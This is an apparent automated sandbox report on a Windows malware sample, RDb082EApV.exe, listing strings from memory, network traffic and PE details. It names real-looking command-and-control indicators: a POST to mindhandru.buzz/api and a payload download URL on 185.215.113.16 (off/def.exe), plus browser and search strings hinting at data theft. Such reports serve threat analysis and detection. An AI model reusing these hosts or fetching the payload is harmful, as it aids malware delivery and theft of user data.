HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/T
Source: RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/a
Source: RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/h
Source: RDb082EApV.exe, 00000000.00000003.1996247892.0000000000834000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe2
Source: RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeX
Source: RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeew
Source: RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: RDb082EApV.exe, 00000000.00000003.1854192826.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1843896965.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822756808.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1743824632.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822268061.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microh
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_103.6.dr	String found in binary or memory: http://schema.org/Organization
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_103.6.dr, chromecache_110.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_103.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_103.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_103.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_103.6.dr	String found in binary or memory: https://github.com/nschonni
Source: RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_103.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: RDb082EApV.exe, 00000000.00000003.1853819783.000000000510C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815450547.0000000005108000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1743824632.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: RDb082EApV.exe, 00000000.00000003.1791566455.0000000005106000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815754054.0000000005108000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1853819783.000000000510C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815450547.0000000005108000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1791207163.0000000005106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/)
Source: RDb082EApV.exe, 00000000.00000003.1743824632.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api-
Source: RDb082EApV.exe, 00000000.00000003.1867695955.0000000005119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apindow
Source: RDb082EApV.exe, 00000000.00000003.1743824632.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: RDb082EApV.exe, 00000000.00000003.1867837015.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: RDb082EApV.exe, 00000000.00000003.1822146133.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_109.6.dr	String found in binary or memory: https://schema.org
Source: RDb082EApV.exe, 00000000.00000003.1745058301.0000000005163000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: RDb082EApV.exe, 00000000.00000003.1768913834.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745058301.0000000005161000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745144905.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769130872.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769037062.000000000515A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RDb082EApV.exe, 00000000.00000003.1745144905.0000000005135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: RDb082EApV.exe, 00000000.00000003.1768913834.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745058301.0000000005161000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745144905.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769130872.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769037062.000000000515A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RDb082EApV.exe, 00000000.00000003.1745144905.0000000005135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_109.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49741 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: RDb082EApV.exe	Static PE information: section name:
Source: RDb082EApV.exe	Static PE information: section name: .rsrc
Source: RDb082EApV.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00843C85	0_3_00843C85
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00848760	0_3_00848760

Source: RDb082EApV.exe	Binary or memory string: OriginalFilename vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1982199524.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1969458822.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1970204646.0000000005692000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1969698376.00000000055AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1965954493.0000000005648000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1983563470.00000000055AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1998583204.0000000005788000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1979506015.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1972277054.000000000569E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966585327.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1969814480.0000000005677000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1972666754.00000000055AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1970601989.000000000576F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966058029.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1970320794.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1974894367.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1985371897.00000000055AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1980326941.00000000056B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1973874227.00000000055B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1985628278.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966482283.000000000565B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1980097004.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1961808620.00000000055B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1970885781.00000000056A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1960804833.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967588968.000000000566D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1979879847.00000000056C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1973164038.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1968518986.0000000005677000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
